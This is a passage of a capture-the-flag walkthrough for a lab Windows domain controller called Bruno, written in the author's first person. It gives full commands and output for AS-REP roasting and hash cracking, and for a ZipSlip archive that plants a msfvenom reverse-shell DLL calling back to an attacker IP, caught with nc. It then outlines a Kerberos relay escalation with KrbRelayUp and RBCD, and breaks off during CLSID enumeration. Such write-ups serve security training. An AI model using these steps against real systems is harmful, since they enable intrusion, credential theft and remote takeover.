2026/02/19 19:52:37 &gt;  [+] VALID USERNAME:       svc_scan@bruno.vl
2026/02/19 19:52:37 &gt;  Done! Tested 2 usernames (1 valid) in 5.418 seconds
</span></code></pre></div></div>

<p>One is, svc_scan.</p>

<h2 id="auth-as-svc_scan">Auth as svc_scan</h2>

<h3 id="strategy">Strategy</h3>

<p>There are some potential attacks here if I can get the right file processed by the pipeline. I don’t see any vulnerability in the string matching, but there could be something I could do with zip archives. Unfortunately, the site doesn’t seem to accept anything that isn’t a <code class="language-plaintext highlighter-rouge">.exe</code>, and FTP is read only.</p>

<p>I’ll turn to other enumeration for now.</p>

<h3 id="as-rep-roast">AS-REP-Roast</h3>

<p>I’ll enumerate Active Directory a bit more. One common check before I have any auth is to look for AS-REP-Roastable users. I only have one valid username at this point, but it works!</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$ </span>netexec ldap brunodc.bruno.vl <span class="nt">-u</span> svc_scan <span class="nt">-p</span> <span class="s1">''</span> <span class="nt">--asreproast</span> svc_scan.asreproast 
<span class="netexec-protocol">LDAP </span><span class="go">       10.129.238.9    389    BRUNODC          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 (name:BRUNODC) (domain:bruno.vl) (</span><span class="netexec-logfail">signing:None</span><span class="go">) (</span><span class="netexec-shareenum">channel binding:Never</span><span class="go">)
</span><span class="netexec-protocol">LDAP </span><span class="go">       10.129.238.9    389    BRUNODC          $krb5asrep$23$svc_scan@BRUNO.VL:fd02ae5687c52c5609c5f0b200b97701$68a48d72437c7b7dded526b38778444aa46eee547d8518e02bf48ff9d85663f868e224b465ebe1ffb958ea5c00a0595710c1555cb5ff6a5413af8850aa2a6577429afed994c8ee577d3d4be441b6f5fe38465cac4fdb8e438d9432520236d12f54feddbecca1711532e59765bc0b9679f883d091b1ee3321baa50e390ba624eeacd96b53be0f82915b6c79ac70f8badd844b647df624b56590cce5e9c6b66ad7e93c13daf47bcc9b40999ef3cbd969f613651c5fbbb6872f58de405cf75db5e8b2f8ce67924933a14fc9ddff595b7b6b5b48f7fd1fa8b08c156e940ef4da24585174b2a4
</span></code></pre></div></div>

<h3 id="crack">Crack</h3>

<p>I’ll pass that hash to <code class="language-plaintext highlighter-rouge">hashcat</code> with <code class="language-plaintext highlighter-rouge">rockyou.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$ </span>hashcat svc_scan.asreproast /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
<span class="go">hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

18200 | Kerberos 5, etype 23, AS-REP | Network Protocol
...[snip]...
$krb5asrep$23$svc_scan@BRUNO.VL:fd02ae5687c52c5609c5f0b200b97701$68a48d72437c7b7dded526b38778444aa46eee547d8518e02bf48ff9d85663f868e224b465ebe1ffb958ea5c00a0595710c1555cb5ff6a5413af8850aa2a6577429afed994c8ee577d3d4be441b6f5fe38465cac4fdb8e438d9432520236d12f54feddbecca1711532e59765bc0b9679f883d091b1ee3321baa50e390ba624eeacd96b53be0f82915b6c79ac70f8badd844b647df624b56590cce5e9c6b66ad7e93c13daf47bcc9b40999ef3cbd969f613651c5fbbb6872f58de405cf75db5e8b2f8ce67924933a14fc9ddff595b7b6b5b48f7fd1fa8b08c156e940ef4da24585174b2a4:Sunshine1
...[snip]...
</span></code></pre></div></div>

<p>It cracks to “Sunshine1” in about 12 seconds on my host.</p>

<h3 id="validate">Validate</h3>

<p>I’ll validate the password with <code class="language-plaintext highlighter-rouge">netexec</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec ldap brunodc.bruno.vl <span class="nt">-u</span> svc_scan <span class="nt">-p</span> Sunshine1
<span class="netexec-protocol">LDAP </span><span class="go">       10.129.238.9    389    BRUNODC          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 (name:BRUNODC) (domain:bruno.vl) (</span><span class="netexec-logfail">signing:None</span><span class="go">) (</span><span class="netexec-shareenum">channel binding:Never</span><span class="go">)
</span><span class="netexec-protocol">LDAP </span><span class="go">       10.129.238.9    389    BRUNODC          </span><span class="netexec-logsuccess">[+]</span><span class="go"> bruno.vl\svc_scan:Sunshine1 
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb brunodc.bruno.vl <span class="nt">-u</span> svc_scan <span class="nt">-p</span> Sunshine1
<span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:BRUNODC) (domain:bruno.vl) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-logsuccess">[+]</span><span class="go"> bruno.vl\svc_scan:Sunshine1 
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec rdp brunodc.bruno.vl <span class="nt">-u</span> svc_scan <span class="nt">-p</span> Sunshine1
<span class="netexec-protocol">RDP </span><span class="go">        10.129.238.9    3389   BRUNODC          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 10 or Windows Server 2016 Build 20348 (name:BRUNODC) (domain:bruno.vl) (nla:True)
</span><span class="netexec-protocol">RDP </span><span class="go">        10.129.238.9    3389   BRUNODC          </span><span class="netexec-logsuccess">[+]</span><span class="go"> bruno.vl\svc_scan:Sunshine1
</span></code></pre></div></div>

<p>That “success” for RDP says the creds are right but that this user can’t connect (it would say “pwned” if it could).</p>

<h2 id="shell-as-svc_scan">Shell as svc_scan</h2>

<h3 id="smb">SMB</h3>

<p>The svc_scan user can list shares, and has read/write access to one named queue:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb brunodc.bruno.vl <span class="nt">-u</span> svc_scan <span class="nt">-p</span> Sunshine1 <span class="nt">--shares</span>
<span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:BRUNODC) (domain:bruno.vl) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-logsuccess">[+]</span><span class="go"> bruno.vl\svc_scan:Sunshine1 
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-logmessage">[*]</span><span class="go"> Enumerated shares
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-shareenum">Share           Permissions     Remark</span><span class="err">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-shareenum">-----           -----------     ------
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-shareenum">ADMIN$                          Remote Admin
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-shareenum">C$                              Default share
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-shareenum">CertEnroll      READ            Active Directory Certificate Services share
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-shareenum">IPC$            READ            Remote IPC
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-shareenum">NETLOGON        READ            Logon server share 
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-shareenum">queue           READ,WRITE      
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.238.9    445    BRUNODC          </span><span class="netexec-shareenum">SYSVOL          READ            Logon server share 
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">queue</code> share is empty:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>smbclient //brunodc.bruno.vl/queue <span class="nt">-U</span> <span class="s1">'svc_scan%Sunshine1'</span>
<span class="go">Try "help" to get a list of possible commands.
</span><span class="gp">smb: \&gt;</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">  .                                   D        0  Thu Feb 19 23:19:50 2026
  ..                                  D        0  Wed Jun 29 13:41:03 2022

                4980479 blocks of size 4096. 540813 blocks available
</span></code></pre></div></div>

<p>But if I upload a <code class="language-plaintext highlighter-rouge">.exe</code> file via the dev website, it shows up:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">smb: \&gt; </span><span class="nb">ls</span>
<span class="go">  .                                   D        0  Thu Feb 19 23:22:12 2026
  ..                                  D        0  Wed Jun 29 13:41:03 2022
  test.exe                            A    49946  Thu Feb 19 23:22:12 2026

                4980479 blocks of size 4096. 540752 blocks available
</span></code></pre></div></div>

<p>Similarly, if I put a file over SMB:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">smb: \&gt; </span>put test.exe smb.exe
<span class="go">putting file test.exe as \smb.exe (184.8 kb/s) (average 184.8 kb/s)
</span></code></pre></div></div>

<p>It shows up on the site:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260219152506945.webp" />
    <img loading="lazy" src="/img/image-20260219152506945.png" alt="image-20260219152506945" class="include_image " />
</picture>

<p>And it processed.</p>

<p>I can also put non-<code class="language-plaintext highlighter-rouge">.exe</code> files. If I make a zip archive with two <code class="language-plaintext highlighter-rouge">.exe</code> files:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>unzip <span class="nt">-l</span> ziptest
<span class="go">Archive:  ziptest.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2026-02-19 18:55   ziptest/
        5  2026-02-19 18:55   ziptest/test1.exe
        5  2026-02-19 18:55   ziptest/test2.exe
---------                     -------
       10                     3 files
</span></code></pre></div></div>

<p>And upload it to SMB:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">smb: \&gt; </span>put ziptest.zip 
<span class="go">putting file ziptest.zip as \ziptest.zip (7.1 kb/s) (average 147.9 kb/s)
</span></code></pre></div></div>

<p>It shows up on the site:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260219152552033.webp" />
    <img loading="lazy" src="/img/image-20260219152552033.png" alt="image-20260219152552033" class="include_image " />
</picture>

<p>And after it processes:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260219172316871.webp" />
    <img loading="lazy" src="/img/image-20260219172316871.png" alt="image-20260219172316871" class="include_image " />
</picture>

<p>Another minute later:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260219172431021.webp" />
    <img loading="lazy" src="/img/image-20260219172431021.png" alt="image-20260219172431021" class="include_image " />
</picture>

<p>It seems to have trouble deleting the <code class="language-plaintext highlighter-rouge">.zip</code> file, which means the exes get unpacked over and over after they get moved.</p>

<h3 id="zipslip">ZipSlip</h3>

<h4 id="strategy-1">Strategy</h4>

<p>ZipSlip is a class of vulnerabilities where a maliciously crafted archive can write outside of the target directory. Searching for “.NET zipslip”, the first result is an interesting post:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260219172700651.webp" />
    <img loading="lazy" src="/img/image-20260219172700651.png" alt="image-20260219172700651" class="include_image " />
</picture>

<p><a href="https://www.meziantou.net/prevent-zip-slip-in-dotnet.htm">Prevent Zip Slip in .NET</a> has this paragraph at the bottom:</p>

<blockquote>
  <p>While extracting the archive, you will concatenate the destination path and the path of the entry with a code similar to <code class="language-plaintext highlighter-rouge">Path.Combine(destinationDirectoryFullPath, entry.FullName)</code>. Then, you must check the path is under the destination directory.</p>
</blockquote>

<p>The code from the application looks like this:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">string</span> <span class="n">destinationFileName</span> <span class="p">=</span> <span class="n">Path</span><span class="p">.</span><span class="nf">Combine</span><span class="p">(</span><span class="s">"C:\\samples\\queue\\"</span><span class="p">,</span> <span class="n">entry</span><span class="p">.</span><span class="n">FullName</span><span class="p">)</span>
</code></pre></div></div>

<p>Because I have full control over <code class="language-plaintext highlighter-rouge">entry.FullName</code> coming out of the archive, I can slip this with an absolute path (much like Python, when combining paths if an argument has an absolute path, everything before it is dropped) or with a <code class="language-plaintext highlighter-rouge">..</code> to move up directories.</p>

<h4 id="poc">POC</h4>

<p>To test this, I’ll create a simple zip that will write outside the target directory. Based on the filepaths I’ve seen, I suspect that the FTP share is <code class="language-plaintext highlighter-rouge">C:\samples\</code> and the SMB share is <code class="language-plaintext highlighter-rouge">C:\samples\queue</code>. I’ll try to write to <code class="language-plaintext highlighter-rouge">..\app\</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="n">uv</span> <span class="n">run</span> <span class="n">python</span>
<span class="go">Python 3.13.7 (main, Sep 18 2025, 19:47:49) [Clang 20.1.4 ] on linux
Type "help", "copyright", "credits" or "license" for more information.
</span><span class="gp">&gt;&gt;&gt;</span><span class="w"> </span><span class="kn">import</span> <span class="n">zipfile</span>
<span class="gp">&gt;&gt;&gt;</span><span class="w"> </span><span class="k">with</span> <span class="n">zipfile</span><span class="p">.</span><span class="nc">ZipFile</span><span class="p">(</span><span class="sh">'</span><span class="s">slip.zip</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="nb">zip</span><span class="p">:</span>
<span class="go">...     zip.writestr('../app/0xdf.txt', 'ABCD')
</span><span class="c">... 
</span></code></pre></div></div>

<p>I’ll upload this over SMB:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">smb: \&gt; </span>put slip.zip 
<span class="go">putting file slip.zip as \slip.zip (0.1 kb/s) (average 0.1 kb/s)
</span></code></pre></div></div>

<p>And after it processes, <code class="language-plaintext highlighter-rouge">0xdf.txt</code> is in <code class="language-plaintext highlighter-rouge">app</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ftp&gt; </span><span class="nb">ls</span>
<span class="go">229 Entering Extended Passive Mode (|||49680|)
125 Data connection already open; Transfer starting.
02-19-26  10:52PM                    4 0xdf.txt
06-29-22  05:42PM                  165 changelog
06-28-22  07:15PM                  431 SampleScanner.deps.json
06-29-22  03:58PM                 7168 SampleScanner.dll
06-29-22  03:58PM               174592 SampleScanner.exe
06-28-22  07:15PM                  170 SampleScanner.runtimeconfig.dev.json
06-28-22  07:15PM                  154 SampleScanner.runtimeconfig.json
226 Transfer complete.
</span></code></pre></div></div>

<p>That’s a slip!</p>

<h3 id="dll-hijack">DLL Hijack</h3>

<h4 id="strategy-2">Strategy</h4>

<p>It seems that something starts <code class="language-plaintext highlighter-rouge">SampleScanner.exe</code> every minute on a scheduled task. If I can find a way to drop a DLL into the <code class="language-plaintext highlighter-rouge">app</code> directory that is loaded by <code class="language-plaintext highlighter-rouge">SampleScanner.exe</code>, it will load and I’ll get RCE.</p>

<h4 id="identify-dll">Identify DLL</h4>

<p>I’ll set up my Windows VM to have the same folder structure as Bruno:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260219180113794.webp" />
    <img loading="lazy" src="/img/image-20260219180113794.png" alt="image-20260219180113794" class="include_image " />
</picture>

<p>I’ll drop all the application files in <code class="language-plaintext highlighter-rouge">app</code>, and now it runs without erroring:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\samples\app &gt;</span><span class="w"> </span><span class="o">.</span><span class="n">\SampleScanner.exe</span><span class="w">
</span><span class="gp">PS C:\samples\app &gt;</span><span class="w">
</span></code></pre></div></div>

<p>I’ll open <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procmon">ProcMon</a> from the <a href="https://learn.microsoft.com/en-us/sysinternals/">Sysinternals</a> and configure the filters:</p>

<p><a href="/img/image-20260220075402025.png"><img src="/img/image-20260220075402025.png" alt="image-20260220075402025" /><em>Click for full size image</em></a></p>

<p>To find DLL hijacking targets, I’m going to look for file events where the Result is “NAME NOT FOUND”, the path ends in “.dll”, and the process is “SampleScanner.exe”. This configuration will show places where the process tried to open a DLL and it wasn’t there. The rest of the “Remove” filters are the default ones that come with ProcMon that keep it from showing itself.</p>

<p>Now if I run again, there are a handful of <code class="language-plaintext highlighter-rouge">CreateFile</code> calls that meet this criteria:</p>

<p><a href="/img/image-20260220075831791.png"><img src="/img/image-20260220075831791.png" alt="image-20260220075831791" /><em>Click for full size image</em></a></p>

<p><code class="language-plaintext highlighter-rouge">CreateFile</code> is the <a href="https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea">Windows API</a> for getting a file handle to a new or existing file. If it’s given the arguments to say only open an existing file (don’t create one), then the result will show as “NAME NOT FOUND” in ProcMon if it doesn’t exist. That means if we can create that DLL, it will load. The first one looks like a location that I can write to, so I’ll target <code class="language-plaintext highlighter-rouge">C:\samples\app\hostfxr.dll</code>.</p>

<p>If I remove the “NAME NOT FOUND” filter, I’ll see that just after it checks for <code class="language-plaintext highlighter-rouge">C:\samples\app\hostfxr.dll</code>, it finds the DLL in <code class="language-plaintext highlighter-rouge">C:\Program Files\dotnet\fxr\8.0.8\hostfxr.dll</code>:</p>

<p><a href="/img/image-20260220080819536.png"><img src="/img/image-20260220080819536.png" alt="image-20260220080819536" /><em>Click for full size image</em></a></p>

<p>This is the Windows DLL load order that checks the current directory first for most DLLs.</p>

<h4 id="create-attack-payload">Create Attack Payload</h4>

<p>I’ll use <code class="language-plaintext highlighter-rouge">msfvenom</code> to create a DLL that is a reverse shell back to my IP that I can catch with <code class="language-plaintext highlighter-rouge">nc</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>msfvenom <span class="nt">-p</span> windows/x64/shell_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>10.10.14.4 <span class="nv">LPORT</span><span class="o">=</span>443 <span class="nt">-f</span> dll <span class="nt">-o</span> hostfxr.dll
<span class="go">[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: hostfxr.dll
</span></code></pre></div></div>

<p>Back in Python, I’ll use this file to create a zip:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">&gt;&gt;&gt;</span><span class="w"> </span><span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="sh">'</span><span class="s">hostfxr.dll</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">rb</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="go">...     hostfxr = f.read()
</span><span class="c">...     
</span><span class="gp">&gt;&gt;&gt;</span><span class="w"> </span><span class="k">with</span> <span class="n">zipfile</span><span class="p">.</span><span class="nc">ZipFile</span><span class="p">(</span><span class="sh">'</span><span class="s">slip-shell.zip</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="nb">zip</span><span class="p">:</span>
<span class="go">...     zip.writestr('../app/hostfxr.dll', hostfxr)
</span><span class="c">...   
</span></code></pre></div></div>

<h4 id="exploit">Exploit</h4>

<p>I’ll upload the new zip over SMB:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">smb: \&gt; </span>put slip-shell.zip 
<span class="go">putting file slip-shell.zip as \slip-shell.zip (118.6 kb/s) (average 118.6 kb/s)
</span></code></pre></div></div>

<p>The first time the process runs, it unzips the DLL into <code class="language-plaintext highlighter-rouge">app</code>, which is visible over FTP:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ftp&gt; </span><span class="nb">ls</span>
<span class="go">229 Entering Extended Passive Mode (|||54276|)
150 Opening ASCII mode data connection.
02-19-26  10:52PM                    4 0xdf.txt
06-29-22  05:42PM                  165 changelog
02-20-26  01:11PM                 9216 hostfxr.dll
06-28-22  07:15PM                  431 SampleScanner.deps.json
06-29-22  03:58PM                 7168 SampleScanner.dll
06-29-22  03:58PM               174592 SampleScanner.exe
06-28-22  07:15PM                  170 SampleScanner.runtimeconfig.dev.json
06-28-22  07:15PM                  154 SampleScanner.runtimeconfig.json
226 Transfer complete.
</span></code></pre></div></div>

<p>A minute later when it runs again, it loads the DLL and a reverse shell connects as svc_scan:</p>

<div class="language-console rlwrap-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>rlwrap <span class="nt">-cAr</span> nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.238.9 54286
Microsoft Windows [Version 10.0.20348.768]
(c) Microsoft Corporation. All rights reserved.

</span><span class="gp">C:\Windows\system32&gt;</span><span class="nb">whoami</span>
<span class="go">bruno\svc_scan
</span></code></pre></div></div>

<p>I’ll grab <code class="language-plaintext highlighter-rouge">user.txt</code> from the svc_scan user’s desktop:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">C:\Users\svc_scan\Desktop&gt;</span><span class="nb">type </span>user.txt
<span class="go">1c9e6ed2************************
</span></code></pre></div></div>

<p>I’ll also switch to PowerShell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">C:\Users&gt;</span>powershell
<span class="go">Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

</span><span class="gp">PS C:\Users&gt;</span><span class="w">
</span></code></pre></div></div>

<h2 id="shell-as-administrator">Shell as Administrator</h2>

<h3 id="enumeration">Enumeration</h3>

<h4 id="users">Users</h4>

<p>There are no other users in <code class="language-plaintext highlighter-rouge">C:\Users</code> besides Administrator:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\Users&gt;</span><span class="w"> </span><span class="n">ls</span><span class="w">
</span><span class="go">
    Directory: C:\Users

Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----         10/4/2024   9:28 PM                Administrator
d-r---         9/15/2021   3:12 PM                Public
d-----         10/4/2024   9:28 PM                svc_scan
</span></code></pre></div></div>

<p>There are other users on the domain, but they haven’t logged into this machine:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\Users&gt;</span><span class="w"> </span><span class="n">net</span><span class="w"> </span><span class="nx">user</span><span class="w">
</span><span class="go">
User accounts for \\BRUNODC

-------------------------------------------------------------------------------
Administrator            Charles.Young            Chloe.Ball               
Donna.Harrison           Graeme.Grant             Guest                    
Hugh.Young               Jeremy.Singh             Kayleigh.Patel           
Kieran.Day               krbtgt                   Natalie.Anderson         
Sam.Owen                 svc_net                  svc_scan                 
The command completed successfully.
</span></code></pre></div></div>

<h4 id="filesystem">Filesystem</h4>

<p>The root of <code class="language-plaintext highlighter-rouge">C:</code> has the expected folders:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\&gt;</span><span class="w"> </span><span class="n">dir</span><span class="w">
</span><span class="go">
    Directory: C:\

Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----         8/19/2021   6:24 AM                EFI                                                                  
d-----         6/29/2022   2:43 PM                inetpub                                                              
d-----          5/8/2021   8:20 AM                PerfLogs                                                             
d-r---         4/17/2025   3:28 AM                Program Files                                                        
d-----         6/29/2022   1:28 PM                Program Files (x86)                                                  
d-----         6/29/2022   1:41 PM                samples                                                              
d-r---         6/29/2022   4:09 PM                Users                                                                
d-----         10/9/2025  10:04 AM                Windows  
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">samples</code> directory is what FTP and SMB are hosting. There’s nothing too interesting to explore here.</p>

<h4 id="ldap">LDAP</h4>

<p>With creds, I can check back on LDAP:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec ldap brunodc.bruno.vl <span class="nt">-u</span> svc_scan <span class="nt">-p</span> Sunshine1 <span class="nt">-M</span> maq
<span class="netexec-protocol">LDAP </span><span class="go">       10.129.238.9     389    BRUNODC          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 (name:BRUNODC) (domain:bruno.vl) (</span><span class="netexec-logfail">signing:None</span><span class="go">) (</span><span class="netexec-shareenum">channel binding:Never</span><span class="go">)
</span><span class="netexec-protocol">LDAP </span><span class="go">       10.129.238.9     389    BRUNODC          </span><span class="netexec-logsuccess">[+]</span><span class="go"> bruno.vl\svc_scan:Sunshine1 
</span><span class="nb">MAQ </span><span class="go">        10.129.238.9     389    BRUNODC          </span><span class="netexec-logmessage">[*]</span><span class="go"> Getting the MachineAccountQuota
</span><span class="nb">MAQ </span><span class="go">        10.129.238.9     389    BRUNODC          MachineAccountQuota: 10
</span></code></pre></div></div>

<p>Signing is not required on LDAP, which means it could be vulnerable to relay attacks. Channel binding is also disabled, which means relay attacks against LDAPS would work as well. The <code class="language-plaintext highlighter-rouge">MachineAccountQuota</code> is set at 10, meaning a user can add up to 10 machines to the domain. Adding a machine to the domain provides an account with a service principal name (SPN) that I control, which will prove useful for relay attacks.</p>

<h3 id="kerberos-relay">Kerberos Relay</h3>

<h4 id="strategy-3">Strategy</h4>

<p>I’m going to perform a Kerberos relay attack. To complete this attack, I’ll need to take the following steps:</p>

<ul>
  <li>Create a new machine account with a known password.</li>
  <li>Use the DCOM OXID resolver to coerce authentication via Kerberos as the local machine’s SYSTEM account.</li>
  <li>Relay that authentication to the DC where is uses it to modify the <code class="language-plaintext highlighter-rouge">msDS-AllowedToActOnBehalfOfOtherIdentity</code> of the local machine so that the new machine account can act on its behalf (RBCD).</li>
  <li>Now I can request a service ticket with that machine account as any user using S4U2Self and S4U2Proxy.</li>
</ul>

<p>The <a href="https://github.com/Dec0ne/KrbRelayUp">KrbRelayUp</a> project has a binary that will perform the first three steps. Then I can run <code class="language-plaintext highlighter-rouge">getST.py</code> from <a href="https://github.com/fortra/impacket">Impacket</a> to get a service ticket and access to the box.</p>

<h4 id="find-clsid">Find CLSID</h4>

<p>For this to work, the DCOM coercion step needs a COM object (identified by its CLSID) that will trigger SYSTEM authentication. By default, KrbRelayUp uses the CLSID 90f18417-f0f1-484e-9d3c-59dceee5dbd8, which is the ActiveX Installer Service (AxInstSV). If that service isn’t active, I’ll have to find a different CLSID.</p>

<p><code class="language-plaintext highlighter-rouge">GetCLSID.ps1</code> from <a href="https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1">JuicyPotato</a> will help with that. I’ll upload and run it:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\ProgramData&gt;</span><span class="w"> </span><span class="o">.</span><span class="n">\GetCLSID.ps1</span><span class="w">
</span><span class="go">                                                                                                                      
Name           Used (GB)     Free (GB) Provider      Root                                               CurrentLocatio
n                                                                                                                     
----           ---------     --------- --------      ----                                               --------------
-                                                                                                                     
HKCR                                   Registry      HKEY_CLASSES_ROOT                                                
                                                                                                                      
Looking for CLSIDs                                                                                                    
Looking for APIDs                                                                                                     
Joining CLSIDs and APIDs                                                                                              
                                                                                                                      
PSPath            : Microsoft.PowerShell.Core\FileSystem::C:\ProgramData\Windows_Server_2022_Datacenter               
PSParentPath      : Microsoft.PowerShell.Core\FileSystem::C:\ProgramData                                              
PSChildName       : Windows_Server_2022_Datacenter                                                                    
PSDrive           : C                                                                                                 
PSProvider        : Microsoft.PowerShell.Core\FileSystem                                                              
PSIsContainer     : True                                                                                              
Name              : Windows_Server_2022_Datacenter                                                                    
FullName          : C:\ProgramData\Windows_Server_2022_Datacenter                                                     
Parent            : ProgramData                                                                                       
Exists            : True                                                                                              
Root              : C:\                                                                                               
Extension         :                                                                                                   
CreationTime      : 2/20/2026 11:43:06 PM                                                                             
CreationTimeUtc   : 2/20/2026 11:43:06 PM                                                                             
LastAccessTime    : 2/20/2026 11:43:06 PM                                                                             
LastAccessTimeUtc : 2/20/2026 11:43:06 PM                                                                             
LastWriteTime     : 2/20/2026 11:43:06 PM                                                                             
LastWriteTimeUtc  : 2/20/2026 11:43:06 PM                                                                             
Attributes        : Directory, NotContentIndexed                                                                      
Mode              : d-----                                                                                            
BaseName          : Windows_Server_2022_Datacenter                                                                    
Target            : {}                                                                                                
LinkType          : 
</span></code></pre></div></div>

<p>This generates two files in a directory named after the OS:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\ProgramData&gt;</span><span class="w"> </span><span class="n">ls</span><span class="w"> </span><span class="nx">Windows_Server_2022_Datacenter</span><span class="w">
</span><span class="go">
